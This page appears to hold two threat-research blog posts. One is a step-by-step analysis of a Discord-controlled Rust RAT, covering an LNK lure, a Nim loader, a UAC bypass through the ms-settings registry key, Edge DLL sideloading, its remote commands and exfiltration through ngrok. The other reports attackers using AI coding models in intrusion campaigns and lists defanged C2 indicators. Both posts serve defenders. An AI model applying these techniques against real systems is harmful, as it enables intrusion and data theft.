Malware researchers at Darktrace have identified a campaign distributing CikaBika, a Rust-based RAT that uses Discord for C2. The infection chain begins with a disk image and a malicious Windows shortcut. A Nim loader extracts the final payload and attempts to plant it in Microsoft Edge’s installation directory using a PowerShell UAC bypass. Once running, the RAT collects host information, registers the device with Discord, and accepts commands through a dedicated channel.

Technical Analysis

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Figure 1: Contents of Proposition_Projet.img.

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Initial access and PDF payload

The malware is packaged within a disk image named Proposition_Projet.img. Inside are a PDF titled “Presentation_Generale.pdf.pdf” and a Windows shortcut (LNK) disguised as a Word document, “Proposition_Projet_Personnalisable.docx”. The delivery method has not been confirmed; however, the filenames and document-themed lure are consistent with a phishing campaign.

‍

Figure 2: PowerShell command embedded in the malicious shortcut.


Opening the shortcut launches a hidden PowerShell process while displaying the PDF as a decoy. The French-language document explains how to produce a written summary or contraction of a text. In the background, PowerShell reads the PDF as bytes and uses the value at offset 239 (0x20) as an XOR key to decode an embedded executable. The resulting payload is written to %TEMP%\IfyuUapz.txt and executed using cmd /c.

Nim loader and UAC bypass

“IfyuUapz.txt” is a Nim-based loader that contains two Base64-encoded blobs: a Rust dynamic-link library (DLL)  and a PowerShell deployment script. Both are decoded and written to temporary files, referenced to within the loader as “dllFile” and “copyPs1”. The loader runs the script through a hidden PowerShell process using an encoded command, then attempts to load the DLL using Nim’s loadLib function. If loading fails, it invokes regsvr32.exe and retries.

Figure 3: Silent DLL deployer.

The PowerShell component is responsible for moving the DLL to C:\Program Files (x86)\Microsoft\Edge\Application\dbghelp.dll. It first copies the DLL to C:\Windows\Temp\dbghelp.tmp, then modifies HKCU\Software\Classes\ms-settings\shell\open\command so that launching computerdefaults.exe can trigger a command to move the staged DLL into the protected Edge directory. This is an attempt to bypass User Account Control (UAC), which depends on the target’s Windows configuration.

The script also compiles a small C# helper that calls ShowWindow to hide windows associated with Windows Settings and ApplicationFrameHost. It launches the bypass helper three times, checks for the presence of the destination DLL, and attempts to delete the temporary scripts, intermediate DLL, and associated registry changes.

‍

Figure 4: Legitimate msedge.exe function to load the legitimate dbghelp.dll.

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The legitimate msedge.exe has a delay-loaded dependency on dbghelp.dll, and the malicious DLL exports a subset of the functions associated with Microsoft’s debugging library. The attacker appears to be exploiting this dependency through DLL search-order hijacking. However, it does not export every function in Edge’s delay-import table, meaning its compatibility with the host is incomplete. The observed code establishes the intended sideloading route, rather than proving that Edge successfully loaded the planted DLL.

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Rust RAT payload

Figure 5: Discord configuration within the RAT.

The malicious dbghelp.dll (IfyuUapz.txt) is a Rust-based RAT. At startup, the RAT registers the compromised device with Discord and begins collecting information about the host. Its reconnaissance routine gathers system details, runs tasklist to enumerate processes, executes ipconfig to obtain network configuration, and attempts to take a screenshot. The resulting artifacts include tasklist_startup.txt, network_info.txt, and screenshot.png.

Figure 6: Network configuration notification in Discord channel.

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Figure 7: Network configuration output from network_info.txt.

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Discord C2

The RAT uses Discord channels to send commands and report results. The operator can send commands to the device’s channel and receive the resulting output in the same conversation. This gives the attacker an interactive command interface without having to operate and maintain a dedicated C2 server.

Figure 8: Commands available in Discord.

The command set includes !shell for remote command execution; !sysinfo and !info for host details; !isOn for status checks; !tasklist and !ps for process enumeration; and !kill for process termination. File-transfer commands include !upload and !download. Additional strings and command handlers reference screenshots (!src), camera access (!camera), streaming (!stream), and broadcasting (!broadcast).

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Figure 9: Device registration in Discord.

During device registration, the malware retrieves the victim’s public IP address using ipify.com. The registration message records the device ID, hostname, registration time, private and public IP addresses, status, uptime, and the Discord channel assigned to that device.

Operator activity and exfiltration

Figure 10: Powershell commands sent through Discord to exfiltrate data.

Once a device is registered, the attacker can issue commands through its dedicated Discord channel. In the observed activity, the attacker compressed a directory into a ZIP and exfiltrated it using ngrok.

Figure 11: Download command to retrieve a document from the target.

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The operator can also use !download to retrieve files from target. The example above displays a request for a specific document on the victim’s desktop. The requested file is then returned through the device’s Discord channel, giving the attacker a direct way to store and access selected data.

Conclusion

CikaBika Bot demonstrates how attackers continue to rely on social engineering techniques to deliver malware. Although the initial distribution method has not been confirmed, the use of a disk image containing a shortcut disguised as a Word document, alongside a legitimate-looking PDF, suggests the campaign was designed for phishing.

While Nim is less commonly encountered than C in Windows malware, it has increasingly appeared in malicious tooling. In this case, Nim is used to unpack and deploy a Rust-based RAT, adding another layer to the infection chain.

Once installed, CikaBika Bot uses Discord as its C2 platform, allowing the attacker to manage compromised devices, execute commands, and retrieve files without maintaining dedicated C2 infrastructure. The observed use of Discord channels for individual victims, alongside additional data exfiltration through ngrok, shows how legitimate services can be repurposed to support malicious operations.

Credit to Tara Gould (Malware Research Lead)

Indicators of Compromise (IoCs)

Presentation_Generale.pdf.pdf - eeb52cb95113a131c2c7713c17872da6

Proposition_Projet_Personnalisable.docx.lnk - 62e3e85eca78a0cd7e6669e9f33d936d

dbghelp.dll - c66858718d883bcfb9ce2c19b59f96c9

IfyuUapz.txt - 2deb724a709b0b892248405323350e9b

MITRE ATTACK

T1204.002 – User Execution: Malicious File
T1036.007 – Masquerading: Double File Extension
T1059.001 – PowerShell
T1027 – Obfuscated Files or Information
T1140 – Deobfuscate/Decode Files or Information
T1548.002 – Bypass User Account Control
T1112 – Modify Registry
T1574.001 – DLL Search Order Hijacking
T1036.005 – Masquerading: Match Legitimate Resource Name or Location
T1082 – System Information Discovery
T1016 – System Network Configuration Discovery
T1057 – Process Discovery
T1113 – Screen Capture
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1102.002 – Web Service: Bidirectional Communication
T1560.001 – Archive Collected Data: Archive via Utility
T1567 – Exfiltration Over Web Service
T1070.004 – Indicator Removal: File Deletion
T1218.010 – Regsvr32
T1005 – Data from Local System
T1074.001 – Data Staged: Local Data Staging
T1041 – Exfiltration Over C2 Channel
T1564.003 – Hide Artifacts: Hidden Window
T1027.013 – Encrypted/Encoded File

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About the author
Tara Gould
Malware Research Lead

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October 5, 2026

AI-Assisted Attacks Still Leave a Behavioral Trace  

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Key Insights

  • Darktrace identified behavioral indicators associated with two campaigns linked to AI-assisted threat activity, highlighting the growing role of AI in modern cyber-attacks.
  • Observed activity involved suspicious WebDAV file transfers, disguised executable downloads, beaconing to rare infrastructure, unusual process execution, and communications with C2 infrastructure linked to active intrusion campaigns.

Introduction

Just as organizations are incorporating AI into their operations to take advantage of its benefits, threat actors are doing the same, creating new challenges for defenders.

Much of the discussion around AI risk has focused on the expanding attack surface created by AI systems within organizations. These systems are often granted privileged access and heightened permissions to carry out their duties, introducing new security risks and unintended consequences.

At the same time, threat actors are learning to leverage AI to enable malicious activities such as vulnerability discovery, exploit creation, and progressing through the Cyber Kill Chain more quickly. By accelerating development, adaptation, and scaling, AI enables attackers to operate more efficiently while making some capabilities more accessible to less skilled operators.

Whether AI is the target or the enabler, the resulting activity still manifests through networks, identities, endpoints and cloud services. Those interactions create observable signals that defenders can investigate, regardless of how the attack was developed.

AI as part of the attacker’s workflow

Darktrace has previously documented how threat actors are increasingly incorporating AI into offensive operations [1]. Two recent investigations from open-source intelligence (OSINT) illustrate this. In both cases, researchers identified the role of AI within malicious operations. Separately, Darktrace detected activity in customer environments that aligned with the infrastructure and techniques reported in those campaigns. These perspectives provide a view of both attacker workflow and operational consequences.

Although AI played different roles in each campaign, it did not remove the need for the attackers to interact with their targets. Payloads still had to be delivered, processes executed, and command-and-control (C2) connections established, creating behavioral anomalies that Darktrace was able to identify.

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Case 1: A Mexican government impersonation campaign with LLM-assisted malware development

Rapid7 reported on a malware delivery operation that used generative AI to assist development, testing, documentation and refinement of attacker infrastructure. Between May and June 2026, Darktrace similarly observed two chains of suspicious activity across customer environments in the Americas that exhibited clear similarities in behavior.

In both cases Darktrace observed:

  • WebDAV communication with onedrive[.]cv·138.124.123[.]87, retrieving a file from the path /Downloads/CURP/
  • Transfer of a masqueraded .scr executable
  • Subsequent communication with google.services[.]ug·77.110.127[.]205 over unusual high ports
  • Additional Darktrace detections correlating the unusual behavior seen spanning payload delivery and C2 communication
  • Darktrace’s Autonomous Response capability alerted across multiple stages of the attack

The infrastructure and behavior observed by Darktrace closely aligned with a campaign reported by Rapid7, in which a WebDAV malware delivery environment was exposed. Rapid7 assessed that threat actors had used generative AI to support the development, testing, documentation and refinement of the operation. The observed activity also aligned with reporting on a campaign in which impersonation of Mexico’s government Unique Population Registry Code (CURP) identity-record service led to delivery of PureRAT, a .NET-based information stealer and remote access trojan (RAT) [2]. The infrastructure overlap and consistent behavioural sequence provides strong alignment and offers a view of how an AI-assisted development pipeline ultimately manifested inside target environments.

Case 2: A suspected China-linked intrusion campaign with AI-assisted automation

In July 2026, Hunt.io published research into a suspected China-based intrusion operation targeting government and financial services organizations [3]. Material recovered from exposed attacker infrastructure by Hunt.io indicated that Claude Code and DeepSeek-v4-pro were being used as active components of the attacker’s workflow. According to the research, the models supported activities including attack reasoning, script generation, execution, exploit adaptation, and phishing-page development.

The investigation identified 192.229.115[.]229 and 192.229.115[.]230 as infrastructure associated with suspected TencShell operations and a possible second C2 framework known as Gshell [3].

Darktrace identified likely related activity within a financial services customer environment involving a newly observed laptop running the Windows 11 Pro operating system. Over a six-day period in July, the device made repeated outbound connections to 192.229.115[.]229 over port 8083.

Darktrace recognized the destination was highly rare for the environment, and the connectivity exhibited beaconing characteristics. During the same timeframe, Darktrace also identified suspicious process behavior associated with process chains involving svchost.exe and cmd.exe. The device repeatedly communicated with infrastructure identified in the Hunt.io research while exhibiting beaconing characteristics and suspicious process activity, strengthening the assessment that the activity likely was associated with the same operation.

Unlike many previous examples of AI-assisted cybercrime, the Hunt.io investigation provided rare visibility into how large language models were being incorporated directly into operational workflows rather than being used solely for content generation. Darktrace, meanwhile, observed how activity associated with that operation ultimately manifested inside a target environment, providing a complementary view of its operational impact.

Operational consequences of AI-assisted attacks

These investigations provide two complementary perspectives on AI-assisted cyber operations. OSINT research revealed how AI was incorporated into attacker workflows, while Darktrace observed the resulting activity within customer environments.

Although AI played different roles in each campaign, it did not remove the need for attackers to interact with their targets, deliver payloads, execute processes, and communicate with C2, all of which generated observable signals.

In these cases, Darktrace identified suspicious file delivery, unusual process behavior, beaconing activity, and communication with rare external infrastructure that aligned with campaigns later linked to AI-assisted operations. While AI may influence how attacks are developed, adapted, and scaled, it does not make them operationally invisible.

For defenders, the broader lesson extends beyond these specific campaigns. As AI becomes increasingly embedded within both enterprise operations and attacker workflows, understanding what a model was asked to do is often less important than understanding the actions it ultimately took and the consequences those actions produced. Whether the actor is human, AI-assisted, or increasingly autonomous, activity still manifests through identities, endpoints, applications, cloud services and network infrastructure.

Credit to Angel Arribas Lopez (Associate Principal Cyber Analyst), Emma Foulger (Global Threat Research Operations Lead), Nathaniel Jones, SVP Global Threat Intelligence
Edited by Ryan Traill (Content Manager)

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Appendices

Darktrace Model Detections

Case 1

Anomalous File / Masqueraded File Transfer from New External Endpoint

Anomalous File / Script from Rare External Location

Anomalous File / EXE from Rare External Location

Anomalous File / Script and EXE from Rare External

Anomalous Connection / Multiple Failed Connections to Rare Endpoint

Anomalous Connection / Rare External SSL Self-Signed

Compromise / New or Repeated to Unusual SSL Port

Compromise / Large Number of Suspicious Failed Connections

Device / Initial Attack Chain Activity

Antigena / Network / External Threat::Antigena Suspicious File Block

Antigena / Network / Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network / Significant Anomaly::Antigena Controlled and Model Alert

Antigena / Network / External Threat::Antigena File then New Outbound Block

Antigena / Network / Significant Anomaly::Antigena Significant Anomaly from Client Block

Antigena / Network / Significant Anomaly::Antigena Alerts Over Time Block

Case 2

Anomalous Connection / Multiple Failed Connections to Rare Endpoint

Compromise / High Volume of Connections with Beacon Score

Compromise / Large Number of Suspicious Failed Connections

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Indicators of Compromise (IoCs)

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Case 1

                                                                                                                                                                                                                                                 
IoCTypeDescription + Confidence
onedrive[.]cvHostnameLikely C2 server
138.124.123[.]87IP AddressPossible C2 server
hXXp://onedrive[.]cv/Downloads/CURP/ReportFinal.%E2%80%AE%E1%BA%9D%D4%81%EF%BD%90.scrURIPossible payload
google.services[.]ugHostnameLikely C2 server
77.110.127[.]205IP AddressLikely C2 server
google.services[.]ug:57666Hostname + PortLikely C2 communication
google.services[.]ug:57888Hostname + PortLikely C2 communication
google.services[.]ug:56001Hostname + PortLikely C2 communication

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Case 2

IoC Type Description + Confidence
192.229.115[.]229 IP Address Likely C2 communication
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About the author
Angel Arribas Lopez
Associate Principal Cyber Analyst
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